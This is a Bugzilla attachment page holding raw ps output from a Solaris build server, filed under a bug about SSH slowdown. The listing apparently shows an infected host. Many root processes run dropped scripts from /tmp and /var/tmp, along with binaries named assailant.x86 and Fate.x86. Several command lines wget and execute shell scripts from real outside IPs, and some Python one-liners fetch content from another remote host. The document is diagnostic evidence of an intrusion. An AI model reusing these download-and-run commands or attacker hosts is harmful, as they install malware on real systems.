Download
Getting Started
Members
Projects
Community
Marketplace
Events
Planet Eclipse
Newsletter
Videos
Participate
Report a Bug
Forums
Mailing Lists
Wiki
IRC
How to Contribute
Working Groups
Automotive
Internet of Things
LocationTech
Long-Term Support
PolarSys
Science
OpenMDM
More
Community
Marketplace
Events
Planet Eclipse
Newsletter
Videos
Participate
Report a Bug
Forums
Mailing Lists
Wiki
IRC
How to Contribute
Working Groups
Automotive
Internet of Things
LocationTech
Long-Term Support
PolarSys
Science
OpenMDM
Toggle navigation
Bugzilla – Attachment 287274 Details for
Bug 576498
SSH slowdown on 147.75.85.211 and 147.75.85.214
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Requests
|
Help
|
Log In
[x]
|
Terms of Use
|
Copyright Agent
Some Eclipse Foundation services are deprecated, or will be soon. Please ensure you've read
this important communication.
ps output from 147.75.85.211
ps_output.txt (text/plain), 1.79 MB, created by
Adam Farley
on 2021-10-07 10:57:53 EDT
(
hide
)
Description:
ps output from 147.75.85.211
Filename:
MIME Type:
Creator:
Adam Farley
Created:
2021-10-07 10:57:53 EDT
Size:
1.79 MB
patch
obsolete
> UID PID PPID C STIME TTY TIME CMD > root 0 0 0 Jun 28 ? 19:05 sched > root 5 0 0 Jun 28 ? 21:10 zpool-rpool > root 6 0 0 Jun 28 ? 30:07 kmem_task > root 1 0 0 Jun 28 ? 4:37 /sbin/init > root 2 0 1 Jun 28 ? 197:03 pageout > root 3 0 0 Jun 28 ? 429:15 fsflush > root 7 0 0 Jun 28 ? 13:01 vmtasks > root 198 1 0 Jun 28 ? 0:00 /usr/lib/picl/picld > root 11 1 0 Jun 28 ? 0:45 /lib/svc/bin/svc.startd > root 13 1 0 Jun 28 ? 2:20 /lib/svc/bin/svc.configd > root 64 1 0 Jun 28 ? 1:05 devfsadmd > root 453 1 0 Jun 28 ? 0:00 /usr/sadm/lib/smc/bin/smcboot > daemon 407 1 0 Jun 28 ? 0:10 /usr/lib/nfs/nfsmapid > root 455 453 0 Jun 28 ? 0:00 /usr/sadm/lib/smc/bin/smcboot > daemon 400 1 0 Jun 28 ? 36:50 /usr/sbin/rpcbind > root 447 442 0 Jun 28 ? 0:01 /usr/lib/saf/ttymon > root 442 11 0 Jun 28 ? 0:01 /usr/lib/saf/sac -t 300 > root 461 11 0 Jun 28 console 0:00 -sh > root 553 551 0 Jun 28 ? 0:35 /usr/lib/autofs/automountd > root 882 461 0 Jun 28 console 0:00 bash > daemon 158 1 0 Jun 28 ? 38:16 /usr/lib/crypto/kcfd > root 308 1 0 Jun 28 ? 0:00 /lib/svc/method/iscsi-initiator > root 452 1 0 Jun 28 ? 11:41 /usr/lib/inet/inetd start > root 147 1 0 Jun 28 ? 0:00 /usr/lib/sysevent/syseventd > root 18749 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > daemon 405 1 0 Jun 28 ? 0:00 /usr/lib/nfs/statd > root 3189 1 0 Jun 30 ? 107460:06 /usr/sbin/nscd > root 29911 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 456 453 0 Jun 28 ? 0:00 /usr/sadm/lib/smc/bin/smcboot > daemon 403 1 0 Jun 28 ? 0:00 /usr/lib/nfs/nfs4cbd > root 551 1 0 Jun 28 ? 0:00 /usr/lib/autofs/automountd > root 460 1 0 Jun 28 ? 0:11 /usr/lib/utmpd > daemon 415 1 0 Jun 28 ? 0:00 /usr/lib/nfs/lockd > root 343 1 0 Jun 28 ? 0:01 /usr/sbin/cron > root 172 1 0 Jun 28 ? 0:00 /usr/lib/power/powerd > root 570 1 0 Jun 28 ? 0:06 /usr/sbin/vold -f /etc/vold.conf > root 582 1 0 Jun 28 ? 4:00 /usr/sbin/syslogd > root 10532 10517 1 Jul 22 ? 84274:09 ./Fate.x86 fate.ssh > root 19187 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 623 1 0 Jun 28 ? 0:44 /usr/lib/fm/fmd/fmd > root 25671 452 0 Jul 11 ? 0:00 /usr/lib/netsvc/rstat/rpc.rstatd > root 10686 10671 1 Jul 22 ? 86450:20 ./Fate.x86 fate.ssh > root 3760 3745 1 Jul 24 ? 81162:08 ./assailant.x86 > root 6938 1 0 Jun 28 ? 0:00 /usr/lib/ssh/sshd > root 13283 22459 0 15:45:37 ? 0:00 bash -sh > root 713 1 0 Jun 28 ? 80:58 /usr/lib/vmware-tools/sbin/amd64/vmtoolsd > root 625 1 0 Jun 28 ? 141:29 /usr/sfw/sbin/snmpd > root 8656 1 0 Jun 28 ? 80529:43 perl ug.txt ug.txt.1 > root 14599 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 636 1 0 Jun 28 ? 0:01 /usr/lib/snmp/snmpdx -y -c /etc/snmp/conf > root 786 1 0 Jun 28 ? 1:00 /usr/dt/bin/dtlogin -daemon > root 28035 1 1 Jun 29 ? 80303:55 perl ug.txt ug.txt.1 ug.txt.2 > root 2916 1 0 Jun 28 ? 7:44 /opt/csw/sbin/sshd > root 3893 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 650 1 0 Jun 28 ? 0:00 /usr/lib/dmi/dmispd > root 4208 1 0 Oct 05 ? 0:01 sh /tmp/cruner >noaccess 862 1 0 Jun 28 ? 39:48 /usr/java/bin/java -server -Xmx128m -XX:+UseParallelGC -XX:ParallelGCThreads=4 > root 15923 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5359 452 0 Jul 01 ? 0:00 /bin/sh /lib/svc/method/rpc-cmsd > root 11029 1 0 Jun 28 ? 117288:36 perl ug.txt > root 5050 1 0 Jun 28 ? 5:30 /opt/csw/libexec/ntpd -c /etc/opt/csw/ntp.conf > root 14042 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3400 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6321 1 0 Jun 28 ? 2:56 /opt/csw/sbin/snmptrapd > root 3742 1 0 Jul 24 ? 0:00 sh -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://195.47 > root 12388 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13120 12167 0 15:44:47 ? 0:00 bash -sh > root 3638 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12056 1 0 Oct 05 ? 0:01 sh /tmp/cruner > afarley 21331 1 0 Sep 16 ? 0:00 /usr/bin/gnome-keyring-daemon > root 10217 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10517 10514 0 Jul 22 ? 0:00 sh dranknet.sh > root 18875 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6141 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12224 1 1 Aug 19 ? 45481:58 perl ug.txt > root 194 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22863 4262 0 15:45:06 ? 0:00 bash -sh > root 17234 12676 0 15:44:57 ? 0:00 bash -sh > root 24719 24714 0 Jul 03 ? 0:00 /usr/openwin/bin/rpc.ttdbserverd > root 11885 21414 0 - ? 0:00 <defunct> > root 10671 10668 0 Jul 22 ? 0:00 sh dranknet.sh > root 984 28678 0 15:45:27 ? 0:00 sleep 60 > root 8666 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3163 1 0 Jul 24 ? 0:00 sh -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://195.47 > root 12268 28989 0 - ? 0:00 <defunct> > root 8928 452 0 Jul 02 ? 0:00 /usr/sbin/rpc.metad > root 10598 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16981 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2600 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > daemon 5365 5359 0 Jul 01 ? 0:00 /usr/dt/bin/rpc.cmsd > root 10608 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24943 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14151 14129 0 15:45:37 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12191 452 0 Jul 06 ? 0:00 /usr/sbin/rpc.metamhd > root 7898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14284 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14684 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9568 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25892 1 1 Aug 25 ? 28070:35 perl ug.txt ug.txt.1 > root 24714 452 0 Jul 03 ? 0:00 /bin/sh /lib/svc/method/rpc-ttdbserverd > root 26570 3614 0 15:46:01 ? 0:00 bash -sh > root 10668 1 0 Jul 22 ? 0:00 sh -c cd /tmp; wget http://179.61.251.84/dranknet.sh; chmod 777 dranknet.sh; sh >noaccess 2350 452 0 Sep 22 ? 0:00 /usr/sbin/in.fingerd > root 20865 1 0 Oct 06 ? 0:02 sh /var/tmp/cruner >saddison 12977 1 0 Sep 29 ? 0:01 Xvnc :2 -desktop jck-packet-esxi-solaris10u11-x64-1:2 (saddisonxls) -auth /expo > nobody 16366 452 0 Jul 04 ? 0:01 /usr/openwin/bin/xfs > root 5908 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5580 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20839 452 0 Jul 06 ? 0:00 /usr/sbin/rpc.mdcommd > root 2838 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24549 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6904 29388 0 - ? 0:00 <defunct> > root 1365 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3166 3163 0 Jul 24 ? 0:00 sh bins.sh > root 6243 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3879 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11387 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner >saddison 12984 12982 0 Sep 29 pts/6 0:00 -bash > root 5140 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11327 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10514 1 0 Jul 22 ? 0:00 sh -c cd /tmp; wget http://179.61.251.84/dranknet.sh; chmod 777 dranknet.sh; sh > root 15012 5787 0 15:44:05 ? 0:00 bash -sh > root 19709 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner >noaccess 14554 452 0 Jul 07 ? 0:00 /usr/sbin/in.fingerd > root 22892 28067 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 3745 3742 0 Jul 24 ? 0:00 sh bins.sh > root 21353 1 1 Aug 19 ? 31440:47 perl ug.txt ug.txt.1 > root 10262 452 0 Jul 11 ? 0:00 /usr/sbin/rpc.metamedd > root 29641 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18441 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9580 1 1 Jul 10 ? 68083:21 perl ug.txt ug.txt.1 ug.txt.2 ug.txt.3 > root 3183 3166 1 Jul 24 ? 78443:57 ./assailant.x86 > root 12149 11867 0 15:43:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > afarley 29773 1 0 Sep 24 ? 0:00 /usr/bin/gnome-keyring-daemon > root 11273 17131 0 15:44:15 ? 0:00 bash -sh > root 7267 1 1 Jul 24 ? 81424:33 perl ug.txt > root 14420 2916 0 Sep 28 ? 0:14 /opt/csw/sbin/sshd -R > root 14977 12723 0 15:45:46 ? 0:00 bash -sh > root 22638 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14212 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24011 21705 0 - ? 0:00 <defunct> > root 3922 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22987 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19996 16612 0 - ? 0:00 <defunct> > root 13537 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11451 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5304 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12058 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29206 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27102 20157 0 15:45:43 ? 0:00 sleep 60 > root 13677 13672 0 15:45:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2961 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9208 23237 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 18727 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10612 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19851 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11410 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27085 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18261 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18352 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16567 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26643 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27167 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7835 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28416 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26996 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22076 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17958 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4461 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22300 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24912 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24116 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26813 17529 0 15:45:43 ? 0:00 sleep 60 > root 642 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1062 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2039 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27056 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21647 6906 0 15:46:01 ? 0:00 xargs kill -9 > root 11080 26593 0 15:43:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10113 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7855 17273 0 - ? 0:00 <defunct> >saddison 13003 1 0 Sep 29 pts/6 0:02 /usr/lib/gconfd-2 5 > root 323 5134 0 15:45:48 ? 0:00 sh /tmp/cruner > root 5054 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13034 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7056 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28926 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17231 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17638 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7326 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2558 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2749 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6480 3322 0 15:45:54 ? 0:00 sleep 60 > root 15068 18701 0 15:45:46 ? 0:00 bash -sh > root 15639 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21434 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24799 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5506 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5839 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1337 26432 0 15:44:01 ? 0:00 bash -sh > root 5312 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9937 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10216 6662 0 15:45:50 ? 0:00 sleep 60 > root 8972 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4991 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23340 8983 0 15:44:36 ? 0:00 bash -sh > root 29464 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10680 10676 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16828 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13534 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18242 6501 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 11804 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7239 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23884 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4455 20501 0 15:45:40 ? 0:00 sleep 60 > root 12930 1 0 Oct 05 ? 0:01 sh /tmp/cruner > afarley 22078 1 0 Oct 05 ? 0:00 /usr/bin/gnome-keyring-daemon > root 12425 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25030 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21230 8435 0 15:45:56 ? 0:00 sh /var/tmp/cruner > root 7264 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8330 6467 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10370 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19027 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20290 22252 0 15:45:42 ? 0:00 sleep 60 > root 21343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28525 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4337 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24656 1 0 00:32:13 ? 0:00 sh /var/tmp/cruner > root 8851 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13365 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24738 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18363 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9918 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24940 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13396 1 0 20:42:31 ? 0:00 sh /var/tmp/cruner > root 26807 7834 0 15:45:53 ? 0:00 bash -sh > root 17004 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16401 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15458 28978 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14504 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8569 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27151 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24131 1 0 Oct 05 ? 0:01 sh /tmp/cruner >saddison 12982 1 0 Sep 29 ? 0:00 xterm -geometry 80x24+10+10 -ls -title jck-packet-esxi-solaris10u11-x64-1:2 (sa > root 8595 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15456 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11081 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8026 14549 0 - ? 0:00 <defunct> > root 18043 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11257 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21680 13651 0 15:45:57 ? 0:00 xargs kill -9 > root 16832 2386 0 - ? 0:00 <defunct> > root 8708 12893 0 - ? 0:00 <defunct> > root 22067 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15425 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27400 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4497 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23196 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 154 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8959 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19134 14279 0 15:43:45 ? 0:00 bash -sh > root 27243 21208 0 15:45:53 ? 0:00 bash -sh > root 19766 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22667 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12315 14080 0 15:46:04 ? 0:00 sh /var/tmp/cruner > root 21556 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17909 20612 0 15:45:42 ? 0:00 xargs kill -9 > root 26649 23961 0 - ? 0:00 <defunct> > root 25418 22068 0 15:44:54 ? 0:00 sh /var/tmp/cruner > root 12603 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1842 2152 0 - ? 0:00 <defunct> > root 17890 10303 0 - ? 0:00 <defunct> > root 19104 19094 0 15:45:38 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3756 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17791 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2100 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24439 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7311 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17073 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24839 17989 0 15:45:17 ? 0:00 sleep 60 > root 1590 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 46 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4313 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27738 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27456 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6295 24263 0 15:45:09 ? 0:00 sh /var/tmp/cruner > root 8076 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11001 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13907 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6084 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17207 9076 0 15:44:52 ? 0:00 bash -sh > root 3433 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2524 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18245 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22246 13312 0 15:46:01 ? 0:00 /bin/ksh -p /bin/kill -9 > root 2860 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15094 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16858 26137 0 15:45:06 ? 0:00 sleep 60 > root 14391 14380 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11537 27360 0 15:44:51 ? 0:00 bash -sh > root 21503 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 63 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17760 558 0 15:44:17 ? 0:00 bash -sh > root 18127 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14497 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17988 1091 0 15:45:06 ? 0:00 sleep 60 > root 14390 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29626 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22632 28044 0 15:45:33 ? 0:00 sleep 60 > root 15215 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22101 21835 0 - ? 0:00 <defunct> > root 18815 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28106 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10824 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18061 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10507 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8112 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7832 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15782 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6308 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12650 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6896 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3338 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5378 3499 0 15:45:35 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6954 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7360 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2411 4940 0 15:45:53 ? 0:00 bash -sh > root 26100 11608 0 - ? 0:00 <defunct> > root 14711 19800 0 - ? 0:00 <defunct> > root 16606 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16529 3408 0 15:45:22 ? 0:00 sleep 60 > root 14083 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23649 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18435 4997 0 - ? 0:00 <defunct> > root 217 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12319 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19979 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3975 13499 0 15:45:35 ? 0:00 sleep 60 > root 9517 23044 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 15822 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16014 12861 0 15:45:12 ? 0:00 sleep 60 > root 4466 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22395 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6865 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5008 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17323 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24186 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6307 4009 0 15:45:54 ? 0:00 sleep 60 > root 8645 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15378 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19311 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28628 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12221 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23646 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27903 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8712 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28444 23327 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26424 22685 0 15:45:39 ? 0:00 bash -sh > root 4822 12326 0 - ? 0:00 <defunct> > root 21948 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18063 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17254 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20287 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10309 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17181 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4920 17594 0 - ? 0:00 <defunct> > root 1857 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29111 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17334 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12284 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22239 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10134 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8946 8173 0 - ? 0:00 <defunct> > root 14713 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7031 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18518 14768 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1133 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3482 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27687 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20080 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5043 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27772 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6344 21102 0 - ? 0:00 <defunct> > root 6598 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 230 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2949 17378 0 15:45:14 ? 0:00 bash -sh > root 26252 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25457 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3178 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13834 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28436 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8934 8697 0 - ? 0:00 <defunct> > root 9979 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24772 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20187 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14921 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1705 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11025 22755 0 - ? 0:00 <defunct> > root 9622 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11712 8628 0 15:45:55 ? 0:00 sleep 60 > root 15507 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18035 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6979 3339 0 15:45:04 ? 0:00 bash -sh > root 22960 1 0 Oct 05 ? 0:01 sh 